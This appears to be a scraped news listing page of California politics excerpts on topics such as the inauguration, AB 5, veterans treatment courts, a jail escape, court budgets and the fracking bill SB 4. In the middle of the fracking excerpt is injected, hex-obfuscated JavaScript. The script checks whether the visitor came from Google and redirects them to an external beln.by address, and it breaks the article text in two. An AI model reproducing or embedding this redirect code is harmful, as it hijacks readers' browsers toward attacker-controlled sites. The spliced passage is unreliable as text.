Image by gguy, via ShutterstockCalifornia stands to gain additional clout in Washington when Joe Biden is inaugurated as the nation’s 46th president on Jan. 21st. We already have Californians in powerful Washington positions, of course — including House Speaker Nancy Pelosi of San Francisco, who was just reelected easily to her post, and House Minority Leader Kevin McCarthy of Bakersfield.
Flying the flag on Labor Day. (Photo: Deborah Kolb, via Shutterstock))OPINION: We all could use a day off this Labor Day. The past six months have felt like six years, as Americans endure an intersection of crises that threaten our health, endanger our safety, injure our collective soul and tear at the very fabric of our democracy. We are all very tired.
Assemblywoman Lorena Gonzalez addressing lawmakers about her labor bill, AB 5. (Photo: Rich Pedroncelli/APAssemblywoman Lorena Gonzalez wrapped up this legislative year feeling pretty good about her accomplishments. Despite often fierce opposition, the San Diego Democrat was able to pass 11 pieces of legislation, including those that protect child sexual abuse survivors and workers.
They’re called Veterans Treatment Courts, a little-known part of the judicial system that deals specifically with military veterans crippled by stress, drugs and the memories of war. The specialized courts can be found around the country. But only 12 of California’s 58 counties have this service for veterans.
Officials at the Orange County Central Men's Jail investigate the area where three inmates escaped.(Photo: Associated Press/ Nick Ut.)Federal officials warned for years of “poor supervision” at a Southern California jail where three inmates — all charged with violent felonies — recently escaped, documents obtained by The Marshall Project show. The men’s elaborate route to freedom seemed made for the movies: They cut through layers of metal and navigated plumbing tunnels to reach the roof. They then rappelled down four stories with makeshift ropes, perhaps strung together from bedsheets or jail clothing.
Cover of "Go Set a Watchman" released by HarperCollins.Review: Atticus Finch, the lawyer at the heart of Harper Lee’s novel “To Kill a Mockingbird,” has been, for more than half a century, the embodiment of American virtue. The character was vividly brought to life in 1962 by Gregory Peck in a performance that won Peck the Academy Award for best actor. In 2003, the American Film Institute named Atticus Finch the greatest hero ever in American film. That was before publication last month of Lee’s “Go Set a Watchman.”
A jumble of prescription drugs. (Photo illustration via Shutterstock)California voters, confronted by a multimillion-dollar advertising blitz, overwhelmingly rejected Proposition 46, which would have raised the cap on pain-and-suffering damages in medical malpractice lawsuits. But new legislation in the Capitol targets a slice of Proposition 46 dealing with the state’s prescription drug database. And rival forces that clashed over Proposition 46 are poised to do battle again.
State Supreme Court Tani Cantil-Sakauye says Gov. Brown’s draft budget doesn’t provide sufficient funding for California’s sprawling court system, which has been battered by years of cuts and complaints about its spending. The chief justice on Tuesday unveiled a proposed three-year plan to fund the courts. (Above: State Supreme Court Chief Justice Tani Cantil-Sakauye. (Photo: Samantha Gallegos/Capitol Weekly)
A deeply contested debate is happening in Sacramento over SB 4, Senator Pavley’s bill that would put into place safeguards governing the practice of hydraulic fracturing (“fracking”.) var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. These practices inject a mixture of chemicals, water and sand into rock formations in order to create small fractures allowing for extraction of otherwise unattainable
Last week, the California judiciary went on a rollercoaster ride.
The final budget – it’s been approved by the Legislature and awaits Gov. Brown’s signature — included some relief for a court system that has taken continuous cuts over the last five years. But there were indications that the money is too little, too